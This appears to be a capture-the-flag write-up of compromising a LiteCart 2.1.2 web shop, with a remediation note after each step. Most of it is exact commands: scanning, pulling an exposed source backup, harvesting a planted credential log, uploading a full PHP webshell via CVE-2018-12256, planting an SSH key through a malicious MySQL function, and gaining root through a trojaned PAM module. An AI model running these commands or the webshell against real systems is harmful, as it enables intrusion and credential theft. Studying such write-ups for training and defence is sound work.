Compromised
Summary
Assessment of compromised ($TARGET) revealed a layered attack chain built on both a known application vulnerability and two levels of prior persistent compromise already resident on the system. An unauthenticated download of the application's full source-code backup from a public web directory allowed diffing the live LiteCart 2.1.2 shop against a clean vendor release, exposing a backdoor an earlier intruder had planted in the admin login page to silently write every submitted credential to a world-readable file. Retrieving that file gave working admin credentials, which were used to exploit CVE-2018-12256 — an authenticated arbitrary-file-upload flaw — to plant a PHP webshell as the web server user.
PHP's shell-execution functions were disabled, but the webshell still permitted file reads; the database configuration file disclosed the MySQL root password, and MySQL's function registry already contained a malicious user-defined function (exec_cmd) installed by the prior intruder. Calling exec_cmd via SQL injected an SSH public key into the database OS user's home directory, giving an interactive shell. On that shell, a timestomped strace capture of an old admin session disclosed the sysadmin account's password in plaintext, completing lateral movement to the first flag.
Privilege escalation to root required only knowing that /etc/ld.so.preload force-loaded a rootkit shared library — and that the system's PAM authentication module had been silently replaced with a trojaned copy whose hardcoded backdoor password, typed at any su prompt, immediately spawned a root shell.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 4
nmap -Pn -sV -p 22,80 $TARGETcurl -si http://$TARGET/gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -o gobuster-root.txtcurl -fsS -o a.tar.gz http://$TARGET/backup/a.tar.gz && tar -tf a.tar.gz | head -30FixRemove the publicly accessible backup directory from the web rootCritical
Exact commands 4
tar -xf a.tar.gzdiff -rq shop/ litecart-2.1.2-clean/ 2>/dev/nullgrep -n 'file_put_contents\|fopen\|\.log' shop/admin/login.phpcurl -fsS http://$TARGET/shop/admin/.log2301c9430d8593ae.txtFixEradicate the backdoored login page and credential log, and deploy file-integrity monitoringCritical
Exact commands 4
TOK=$(curl -sc c.txt "http://$TARGET/shop/admin/login.php" | grep -oP 'name="token" value="\K[^"]+'); curl -sb c.txt -c c.txt --data-urlencode 'username=admin' --data-urlencode "password=$PASSWORD" --data-urlencode "token=$TOK" "http://$TARGET/shop/admin/login.php" -o /dev/null -w '%{http_code}'printf '<?php $o=array();if(isset($_GET["f"])){$o[]=file_get_contents($_GET["f"]);}if(isset($_GET["q"])){$m=new mysqli("localhost","root","$PASSWORD4","mysql");$r=$m->query($_GET["q"]);while($row=$r->fetch_assoc()){$o[]=$row;}}echo json_encode($o);?>' > pwn.phpVTOK=$(curl -sb c.txt "http://$TARGET/shop/admin/?app=vqmods&doc=vqmods" | grep -oP 'name="token" value="\K[^"]+'); curl -sb c.txt -F "token=$VTOK" -F 'vqmod=@pwn.php;type=application/xml' "http://$TARGET/shop/admin/?app=vqmods&doc=vqmods"curl -s "http://$TARGET/shop/vqmod/xml/pwn.php?f=/etc/passwd" | python3 -m json.toolFixPatch LiteCart and enforce server-side upload validation independent of the applicationCritical
Exact commands 5
curl -s "http://$TARGET/shop/vqmod/xml/pwn.php?f=/var/www/html/shop/includes/config.inc.php"curl -s "http://$TARGET/shop/vqmod/xml/pwn.php?q=SELECT+*+FROM+mysql.func"ssh-keygen -t rsa -b 4096 -f mysql_key -N ''PUBKEY=$(base64 -w0 mysql_key.pub); curl -s "http://$TARGET/shop/vqmod/xml/pwn.php?q=SELECT+exec_cmd('mkdir+-p+/var/lib/mysql/.ssh+%26%26+echo+${PUBKEY}+|+base64+-d+>>+/var/lib/mysql/.ssh/authorized_keys+%26%26+chmod+600+/var/lib/mysql/.ssh/authorized_keys')"ssh -i mysql_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null mysql@$TARGETFixAudit and remove the malicious MySQL user-defined function and plugin libraryCritical
Exact commands 4
find /var/lib/mysql -maxdepth 2 \( -name '*.dat' -o -name '*.log' \) 2>/dev/nullstat /var/lib/mysql/strace-log.datgrep -a 'read(0' /var/lib/mysql/strace-log.dat | grep -oP '"\K[^"]' | tr -d '\n'; echosshpass -p '$PASSWORD3' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 sysadmin@$TARGET 'id; cat /home/sysadmin/user.txt'FixPurge the strace credential-capture file and enforce least-privilege filesystem access for service accountsHigh
Exact commands 6
cat /etc/ld.so.preloadreadelf -x .rodata /lib/x86_64-linux-gnu/libdate.soobjdump -d /lib/x86_64-linux-gnu/libdate.so | grep -A 20 '<read>'md5sum /lib/x86_64-linux-gnu/pam_unix.so /lib/security/pam_unix.sodpkg --verify libpam-modules 2>&1 | grep pam_unixexpect -c "set timeout 12; spawn sshpass -p {$PASSWORD3} ssh -tt -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sysadmin@$TARGET; expect -re {[$] $}; send {su -\r}; expect -re {Password:}; send {$PASSWORD2\r}; expect -re {[#] $}; send {id; cat /root/root.txt\r}; expect eof"FixRemove the LD_PRELOAD rootkit and trojaned PAM module; treat the host as fully compromised and rebuildCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |